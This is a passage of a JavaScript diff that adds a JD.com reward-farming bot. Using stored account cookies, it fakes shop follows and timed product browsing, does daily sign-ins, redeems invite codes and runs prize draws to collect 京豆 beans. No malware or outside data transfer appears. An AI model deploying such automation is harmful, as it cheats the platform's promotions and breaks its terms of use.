jump = shakeFloorNew2['jump']; + if (jump && jump.params && jump['params']['url'].includes('https://h5.m.jd.com/babelDiy/Zeus/2PTXhrEmiMEL3mD419b8Gn9bUBiJ/index.html')) { + console.log(`【超级品牌日】活动链接:${jump.params.url}`); + $.superbrandUrl = jump.params.url; + } + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//=========老版本超级摇一摇================ +function getActInfo(url) { + return new Promise(resolve => { + $.get({ + url, + headers:{ + // 'Cookie': cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + }, + timeout: 10000 + },async (err,resp,data)=>{ + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = data && data.match(/window\.__FACTORY__TAOYIYAO__STATIC_DATA__ = (.*)}/) + if (data) { + data = JSON.parse(data[1] + '}'); + if (data['pageConfig']) superShakeBeanConfig['superShakeTitle'] = data['pageConfig']['htmlTitle']; + if (data['taskConfig']) { + $.ActInfo = data['taskConfig']['taskAppId']; + console.log(`\n获取【${superShakeBeanConfig['superShakeTitle']}】活动ID成功:${$.ActInfo}\n`); + } + } + } + } catch (e) { + console.log(e) + } + finally { + resolve() + } + }) + }) +} +function fc_getHomeData(appId, flag = false) { + return new Promise(resolve => { + const body = { appId } + const options = taskPostUrl('fc_getHomeData', body) + $.taskVos = []; + $.lotteryNum = 0; + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} fc_getHomeData API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + const taskVos = data['data']['result']['taskVos'] || []; + if (flag && $.index === 1) { + superShakeBeanConfig['superShakeBeanFlag'] = true; + superShakeBeanConfig['taskVipName'] = taskVos.filter(vo => !!vo && vo['taskType'] === 21)[0]['taskName']; + } + superShakeBeanConfig['superShakeUlr'] = $.superShakeUrl; + $.taskVos = taskVos.filter(item => !!item && item['status'] === 1) || []; + $.lotteryNum = parseInt(data['data']['result']['lotteryNum']); + $.lotTaskId = parseInt(data['data']['result']['lotTaskId']); + } else if (data['data']['bizCode'] === 101) { + console.log(`京东APP首页超级摇一摇: ${data['data']['bizMsg']}`); + } + } else { + console.log(`获取超级摇一摇任务数据异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function doShakeTask(appId) { + for (let vo of $.taskVos) { + if (vo['taskType'] === 21) { + console.log(`超级摇一摇 ${vo['taskName']} 跳过`); + continue + } + if (vo['taskType'] === 9) { + console.log(`开始做 ${vo['taskName']},等10秒`); + const shoppingActivityVos = vo['shoppingActivityVos']; + for (let task of shoppingActivityVos) { + await fc_collectScore({ + appId, + "taskToken": task['taskToken'], + "taskId": vo['taskId'], + "itemId": task['itemId'], + "actionType": 1 + }) + await $.wait(10000) + await fc_collectScore({ + appId, + "taskToken": task['taskToken'], + "taskId": vo['taskId'], + "itemId": task['itemId'], + "actionType": 0 + }) + } + } + if (vo['taskType'] === 1) { + console.log(`开始做 ${vo['taskName']}, 等8秒`); + const followShopVo = vo['followShopVo']; + for (let task of followShopVo) { + await fc_collectScore({ + appId, + "taskToken": task['taskToken'], + "taskId": vo['taskId'], + "itemId": task['itemId'], + "actionType": 1 + }) + await $.wait(9000) + await fc_collectScore({ + appId, + "taskToken": task['taskToken'], + "taskId": vo['taskId'], + "itemId": task['itemId'], + "actionType": 0 + }) + } + } + } +} +function fc_collectScore(body) { + return new Promise(resolve => { + const options = taskPostUrl('fc_collectScore', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} fc_collectScore API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + console.log(`${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function superShakeLottery(appId) { + if ($.lotteryNum) console.log(`\n\n开始京东APP首页超级摇一摇 摇奖`); + for (let i = 0; i < new Array($.lotteryNum).fill('').length; i++) { + await fc_getLottery(appId);//抽奖 + await $.wait(1000) + } + if ($.superShakeBeanNum > 0) { + message += `${message ? '\n' : ''}${superShakeBeanConfig['superShakeTitle']}:获得${$.superShakeBeanNum}京豆` + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n${superShakeBeanConfig['superShakeTitle']}:获得${$.superShakeBeanNum}京豆${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } +} +function fc_getLottery(appId) { + return new Promise(resolve => { + const body = {appId, "taskId": $.lotTaskId} + const options = taskPostUrl('fc_getLotteryResult', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} fc_collectScore API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data && data['data']['bizCode'] === 0) { + $.myAwardVo = data['data']['result']['myAwardVo']; + if ($.myAwardVo) { + console.log(`超级摇一摇 抽奖结果:${JSON.stringify($.myAwardVo)}`) + if ($.myAwardVo['type'] === 2) { + $.superShakeBeanNum = $.superShakeBeanNum + parseInt($.myAwardVo['jBeanAwardVo']['quantity']); + } + } + } else { + console.log(`超级摇一摇 抽奖异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//===================新版超级本摇一摇============== +function superBrandMainPage() { + return new Promise(resolve => { + const body = {"source":"main"}; + const options = superShakePostUrl('superBrandMainPage', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superBrandTaskList API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === '0') { + if (data['data']['bizCode'] === '0') { + //superShakeBeanConfig['superShakeUlr'] = jump.params.url; + //console.log(`【超级摇一摇】活动链接:${superShakeBeanConfig['superShakeUlr']}`); + superShakeBeanConfig['superShakeUlr'] = $.superShakeUrl; + $.activityId = data['data']['result']['activityBaseInfo']['activityId']; + $.encryptProjectId = data['data']['result']['activityBaseInfo']['encryptProjectId']; + $.activityName = data['data']['result']['activityBaseInfo']['activityName']; + $.userStarNum = Number(data['data']['result']['activityUserInfo']['userStarNum']) || 0; + superShakeBeanConfig['superShakeTitle'] = $.activityName; + console.log(`${$.activityName} 当前共有积分:${$.userStarNum},可抽奖:${parseInt($.userStarNum / 100)}次(最多4次摇奖机会)\n`); + } else { + console.log(`\n【新版本 超级摇一摇】获取信息失败:${data['data']['bizMsg']}\n`); + } + } else { + console.log(`获取超级摇一摇信息异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function superBrandTaskList() { + return new Promise(resolve => { + $.taskList = []; + const body = {"activityId": $.activityId, "assistInfoFlag": 4, "source": "main"}; + const options = superShakePostUrl('superBrandTaskList', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superBrandTaskList API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['code'] === '0' && data['data']['bizCode'] === '0') { + $.taskList = data['data']['result']['taskList']; + $.canLottery = $.taskList.filter(vo => !!vo && vo['assignmentTimesLimit'] === 4)[0]['completionFlag'] + } else { + console.log(`获取超级摇一摇任务异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function superBrandDoTaskFun() { + $.taskList = $.taskList.filter(vo => !!vo && !vo['completionFlag'] && (vo['assignmentType'] !== 6 && vo['assignmentType'] !== 7 && vo['assignmentType'] !== 0 && vo['assignmentType'] !== 30)); + for (let item of $.taskList) { + if (item['assignmentType'] === 1) { + const { ext } = item; + console.log(`开始做 ${item['assignmentName']},需等待${ext['waitDuration']}秒`); + const shoppingActivity = ext['shoppingActivity']; + for (let task of shoppingActivity) { + await superBrandDoTask({ + "activityId": $.activityId, + "encryptProjectId": $.encryptProjectId, + "encryptAssignmentId": item['encryptAssignmentId'], + "assignmentType": item['assignmentType'], + "itemId": task['itemId'], + "actionType": 1, + "source": "main" + }) + await $.wait(1000 * ext['waitDuration']) + await superBrandDoTask({ + "activityId": $.activityId, + "encryptProjectId": $.encryptProjectId, + "encryptAssignmentId": item['encryptAssignmentId'], + "assignmentType": item['assignmentType'], + "itemId": task['itemId'], + "actionType": 0, + "source": "main" + }) + } + } + if (item['assignmentType'] === 3) { + const { ext } = item; + console.log(`开始做 ${item['assignmentName']}`); + const followShop = ext['followShop']; + for (let task of followShop) { + await superBrandDoTask({ + "activityId": $.activityId, + "encryptProjectId": $.encryptProjectId, + "encryptAssignmentId": item['encryptAssignmentId'], + "assignmentType": item['assignmentType'], + "itemId": task['itemId'], + "actionType": 0, + "source": "main" + }) + } + } + if (item['assignmentType'] === 2) { + const { ext } = item; + const assistTaskDetail = ext['assistTaskDetail']; + console.log(`${item['assignmentName']}好友邀请码: ${assistTaskDetail['itemId']}`) + if (assistTaskDetail['itemId']) $.assigFirends.push({ + itemId: assistTaskDetail['itemId'], + encryptAssignmentId: item['encryptAssignmentId'], + assignmentType: item['assignmentType'], + }); + } + } +} +function superBrandDoTask(body) { + return new Promise(resolve => { + const options = superShakePostUrl('superBrandDoTask', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superBrandTaskList API请求失败,请检查网路重试`) + } else { + if (data) { + if (body['assignmentType'] === 2) { + console.log(`助力好友 ${body['itemId']}结果 ${data}`); + } else { + console.log('做任务结果', data); + } + data = JSON.parse(data); + if (data && data['code'] === '0' && data['data']['bizCode'] === '108') { + $.canHelp = false; + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function lo() { + const num = parseInt(($.userStarNum || 0) / 100); + if (!$.canLottery) { + for (let i = 0; i < new Array(num).fill('').length; i++) { + await $.wait(1000); + await superBrandTaskLottery(); + } + } + if ($.superShakeBeanNum > 0) { + message += `${message ? '\n' : ''}${$.activityName || '超级摇一摇'}:获得${$.superShakeBeanNum}京豆\n`; + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n${superShakeBeanConfig['superShakeTitle']}:获得${$.superShakeBeanNum}京豆${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } +} +function superBrandTaskLottery() { + return new Promise(resolve => { + const body = { "activityId": $.activityId, "source": "main" } + const options = superShakePostUrl('superBrandTaskLottery', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superBrandDoTaskLottery API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data && data['code'] === '0') { + if (data['data']['bizCode'] === "TK000") { + $.rewardComponent = data['data']['result']['rewardComponent']; + if ($.rewardComponent) { + console.log(`超级摇一摇 抽奖结果:${JSON.stringify($.rewardComponent)}`) + if ($.rewardComponent.beanList && $.rewardComponent.beanList.length) { + console.log(`获得${$.rewardComponent.beanList[0]['quantity']}京豆`) + $.superShakeBeanNum += parseInt($.rewardComponent.beanList[0]['quantity']); + } + } + } else if (data['data']['bizCode'] === "TK1703") { + console.log(`超级摇一摇 抽奖失败:${data['data']['bizMsg']}`); + } else { + console.log(`超级摇一摇 抽奖失败:${data['data']['bizMsg']}`); + } + } else { + console.log(`超级摇一摇 抽奖异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//============超级品牌日============== +async function superbrandShakeBean() { + $.bradCanLottery = true;//是否有超级品牌日活动 + $.bradHasLottery = false;//是否已抽奖 + await qryCompositeMaterials("advertGroup", "04405074", "Brands");//获取品牌活动ID + await superbrand_getHomeData(); + if (!$.bradCanLottery) { + console.log(`【${$.stageName} 超级品牌日】:活动不在进行中`) + return + } + if ($.bradHasLottery) { + console.log(`【${$.stageName} 超级品牌日】:已完成抽奖`) + return + } + await superbrand_getMaterial();//获取完成任务所需的一些ID + await qryCompositeMaterials();//做任务 + await superbrand_getGift();//抽奖 +} +function superbrand_getMaterial() { + return new Promise(resolve => { + const body = {"brandActivityId":$.brandActivityId} + const options = superShakePostUrl('superbrand_getMaterial', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superbrand_getMaterial API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + const { result } = data['data']; + $.cmsTaskShopId = result['cmsTaskShopId']; + $.cmsTaskLink = result['cmsTaskLink']; + $.cmsTaskGroupId = result['cmsTaskGroupId']; + console.log(`【cmsTaskGroupId】:${result['cmsTaskGroupId']}`) + } else { + console.log(`超级超级品牌日 ${data['data']['bizMsg']}`) + } + } else { + console.log(`超级超级品牌日 异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function qryCompositeMaterials(type = "productGroup", id = $.cmsTaskGroupId, mapTo = "Tasks0") { + return new Promise(resolve => { + const t1 = {type, id, mapTo} + const qryParam = JSON.stringify([t1]); + const body = { + qryParam, + "activityId": $.brandActivityId2, + "pageId": "1411763", + "reqSrc": "jmfe", + "geo": {"lng": "", "lat": ""} + } + const options = taskPostUrl('qryCompositeMaterials', body) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} qryCompositeMaterials API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === '0') { + if (mapTo === 'Brands') { + $.stageName = data.data.Brands.stageName; + console.log(`\n\n【${$.stageName} brandActivityId】:${data.data.Brands.list[0].extension.copy1}`) + $.brandActivityId = data.data.Brands.list[0].extension.copy1 || $.brandActivityId; + } else { + const { list } = data['data']['Tasks0']; + console.log(`超级品牌日,做关注店铺 任务`) + let body = {"brandActivityId": $.brandActivityId, "taskType": "1", "taskId": $.cmsTaskShopId} + await superbrand_doMyTask(body); + console.log(`超级品牌日,逛品牌会场 任务`) + body = {"brandActivityId": $.brandActivityId, "taskType": "2", "taskId": $.cmsTaskLink} + await superbrand_doMyTask(body); + console.log(`超级品牌日,浏览下方指定商品 任务`) + for (let item of list.slice(0, 3)) { + body = {"brandActivityId": $.brandActivityId, "taskType": "3", "taskId": item['skuId']}; + await superbrand_doMyTask(body); + } + } + } else { + console.log(`qryCompositeMaterials异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//做任务API +function superbrand_doMyTask(body) { + return new Promise(resolve => { + const options = superShakePostUrl('superbrand_doMyTask', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superbrand_doMyTask API请求失败,请检查网路重试`) + } else { + if (data) { + // data = JSON.parse(data) + console.log(`超级品牌日活动做任务结果:${data}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function superbrand_getGift() { + return new Promise(resolve => { + const body = {"brandActivityId":$.brandActivityId} + const options = superShakePostUrl('superbrand_getGift', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superbrand_getGift API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + const { result } = data['data']; + $.jpeasList = result['jpeasList']; + if ($.jpeasList && $.jpeasList.length) { + for (let item of $.jpeasList) { + console.log(`超级品牌日 抽奖 获得:${item['quantity']}京豆🐶`); + message += `【超级品牌日】获得:${item['quantity']}京豆🐶\n`; + if ($.superShakeBeanNum === 0) { + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n【超级品牌日】获得:${item['quantity']}京豆🐶\n`; + } else { + allMessage += `【超级品牌日】获得:${item['quantity']}京豆🐶\n`; + } + } + } + } else { + console.log(`超级超级品牌日 抽奖失败: ${data['data']['bizMsg']}`) + } + } else { + console.log(`超级超级品牌日 抽奖 异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function superbrand_getHomeData() { + return new Promise(resolve => { + const body = {"brandActivityIds": $.brandActivityId} + const options = superShakePostUrl('superbrand_getHomeData', body) + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superbrand_getHomeData API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + const { result } = data['data']; + if (result && result.length) { + if (result[0]['activityStatus'] === "2" && result[0]['taskVos'].length) $.bradHasLottery = true; + } + } else { + console.log(`超级超级品牌日 getHomeData 失败: ${data['data']['bizMsg']}`) + if (data['data']['bizCode'] === 101) { + $.bradCanLottery = false; + } + } + } else { + console.log(`超级超级品牌日 getHomeData 异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//=================京东小魔方================= +async function mofang() { + try { + await getInteractionInfo(); + await executeNewInteractionTaskFun(); + await getInteractionInfo(false); + for (let i = 0; i < new Array($.lotteryNum).fill('').length; i++) { + await getNewLotteryInfo(); + await $.wait(200); + } + if ($.moFangBeanNum > 0) { + message += `${message ? '\n' : ''}京东小魔方:获得${$.moFangBeanNum}京豆\n`; + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n京东小魔方:获得${$.moFangBeanNum}京豆${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + } catch (e) { + $.logErr(e) + } +} +function getInteractionInfo(info = true) { + $.taskSkuInfo = []; + $.taskList = []; + $.shopInfoList = []; + $.lotteryNum = 0; + return new Promise(resolve => { + const body = {} + const options = superShakePostUrl('getInteractionInfo', body) + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} 小魔方 getInteractionInfo API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data['result'] && data['result']['code'] === 0) { + const { result } = data; + if (info) console.log(`\n\n京东小魔方:${result['brandName']}`) + $.taskSkuInfo = result['taskSkuInfo'] || []; + $.taskList = result['taskPoolInfo']['taskList'] || []; + $.taskPoolId = result['taskPoolInfo']['taskPoolId']; + $.taskSkuNum = result['taskSkuNum']; + $.interactionId = result['interactionId']; + $.shopInfoList = result['shopInfoList'] || []; + $.lotteryNum = result['lotteryInfo']['lotteryNum'] || 0; + if (!info) console.log(`京东小魔方当前抽奖次数:${$.lotteryNum}\n`) + } else { + console.log(`小魔方 getInteractionInfo 异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function executeNewInteractionTaskFun() { + $.taskList = $.taskList.filter(vo => !!vo && vo['taskStatus'] === 0) + for (let item of $.taskList) { + if (item['taskId'] === 9) { + console.log(`开始做:【${item['taskTitle']}】任务`) + const body = {"interactionId": $.interactionId, "taskPoolId": $.taskPoolId, "taskType": item['taskId']} + await executeNewInteractionTask(body); + } else if (item['taskId'] === 4) { + $.taskSkuInfo = $.taskSkuInfo.filter(vo => !!vo && vo['browseStatus'] === 0); + console.log(`开始做:【${item['taskTitle']}】任务`) + for (let v of $.taskSkuInfo) { + const body = {"sku": v['skuId'], "interactionId": $.interactionId, "taskPoolId": $.taskPoolId, "taskType": item['taskId']}; + await executeNewInteractionTask(body); + await $.wait(100); + } + } else { + $.shopInfoList = $.shopInfoList.filter(vo => !!vo && vo['browseStatus'] === 0); + for (let v of $.shopInfoList) { + console.log(`开始做:【${item['taskTitle']}】任务,需等待${v['browseTime']}秒`); + let body = { + "shopId": v['shopId'], + "interactionId": $.interactionId, + "taskPoolId": $.taskPoolId, + "taskType": item['taskId'], + "action": 1 + }; + await executeNewInteractionTask(body); + await $.wait(v['browseTime'] * 1000); + body = { + "shopId": v['shopId'], + "interactionId": $.interactionId, + "taskPoolId": $.taskPoolId, + "taskType": item['taskId'] + }; + await executeNewInteractionTask(body); + } + } + } +} +function executeNewInteractionTask(body) { + return new Promise(resolve => { + const options = superShakePostUrl('executeNewInteractionTask', body) + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} 小魔方 executeNewInteractionTask API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data['result'] && data['result']['code'] === 0) { + const { result } = data; + if (result['toast'] && result['lotteryNum']) console.log(`${result['toast']},当前抽奖次数:${result['lotteryNum']}\n`); + } else { + console.log(`小魔方 executeNewInteractionTask 异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getNewLotteryInfo() { + return new Promise(resolve => { + const body = {"interactionId": $.interactionId}; + const options = superShakePostUrl('getNewLotteryInfo', body) + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} 小魔方 getNewLotteryInfo API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data['result'] && data['result']['code'] === 0) { + const { result } = data; + if (result['isLottery'] === 0) { + console.log(`京东小魔方抽奖:${result['toast']}`); + } else if (result['isLottery'] === 1) { + console.log(`京东小魔方抽奖:${result['lotteryInfo']['quantity']}京豆`); + // allMessage += `【京东小魔方】获得:${result['lotteryInfo']['quantity']}京豆\n`; + $.moFangBeanNum += parseInt(result['lotteryInfo']['quantity']); + } else { + console.log(`京东小魔方抽奖:${JSON.stringify(data)}`); + } + } else { + console.log(`小魔方 getNewLotteryInfo 异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//=======================京东会员签到======================== +async function shakeSign() { + await pg_channel_page_data(); + if ($.token && $.currSignCursor && $.signStatus === -1) { + const body = {"floorToken": $.token, "dataSourceCode": "signIn", "argMap": { "currSignCursor": $.currSignCursor }}; + const signRes = await pg_interact_interface_invoke(body); + console.log(`京东会员第${$.currSignCursor}天签到结果;${JSON.stringify(signRes)}`) + let beanNum = 0; + if (signRes.success && signRes['data']) { + console.log(`京东会员第${$.currSignCursor}天签到成功。获得${signRes['data']['rewardVos'] && signRes['data']['rewardVos'][0]['jingBeanVo'] && signRes['data']['rewardVos'][0]['jingBeanVo']['beanNum']}京豆\n`) + beanNum = signRes['data']['rewardVos'] && signRes['data']['rewardVos'][0]['jingBeanVo'] && signRes['data']['rewardVos'][0]['jingBeanVo']['beanNum'] + } + if (beanNum) { + message += `\n京东会员签到:获得${beanNum}京豆\n`; + } + } else { + console.log(`京东会员第${$.currSignCursor}天已签到`) + } +} +function pg_channel_page_data() { + const body = { + "paramData":{"token":"dd2fb032-9fa3-493b-8cd0-0d57cd51812d"} + } + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=pg_channel_page_data&body=${escape(JSON.stringify(body))}`, + headers: { + "Accept": "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Host": "api.m.jd.com", + "Cookie": cookie, + "Origin": "https://spa.jd.com", + "Referer": "https://spa.jd.com/home", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + data = JSON.parse(data); + if (data.success) { + const SIGN_ACT_INFO = data['data']['floorInfoList'].filter(vo => !!vo && vo['code'] === 'SIGN_ACT_INFO')[0] + $.token = SIGN_ACT_INFO['token']; + if (SIGN_ACT_INFO['floorData']) { + $.currSignCursor = SIGN_ACT_INFO['floorData']['signActInfo']['currSignCursor']; + $.signStatus = SIGN_ACT_INFO['floorData']['signActInfo']['signActCycles'].filter(item => !!item && item['signCursor'] === $.currSignCursor)[0]['signStatus']; + } + // console.log($.token, $.currSignCursor, $.signStatus) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data || {}); + } + }) + }) +} +function pg_interact_interface_invoke(body) { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?appid=sharkBean&functionId=pg_interact_interface_invoke&body=${escape(JSON.stringify(body))}`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Cookie": cookie, + "Accept": "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Length": "0", + "Host": "api.m.jd.com", + "Origin": "https://spa.jd.com", + "Referer": "https://spa.jd.com/home" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data || {}); + } + }) + }) +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function taskUrl(function_id, body = {}, appId = 'vip_h5') { + return { + url: `${JD_API_HOST}?functionId=${function_id}&appid=${appId}&body=${escape(JSON.stringify(body))}&_=${Date.now()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://vip.m.jd.com/newPage/reward/123dd/slideContent?page=focus', + } + } +} +function taskPostUrl(function_id, body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/4SXuJSqKganGpDSEMEkJWyBrBHcM/index.html', + } + } +} +function superShakePostUrl(function_id, body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${function_id}&appid=content_ecology&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.3.0&uuid=8888888&t=${Date.now()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : 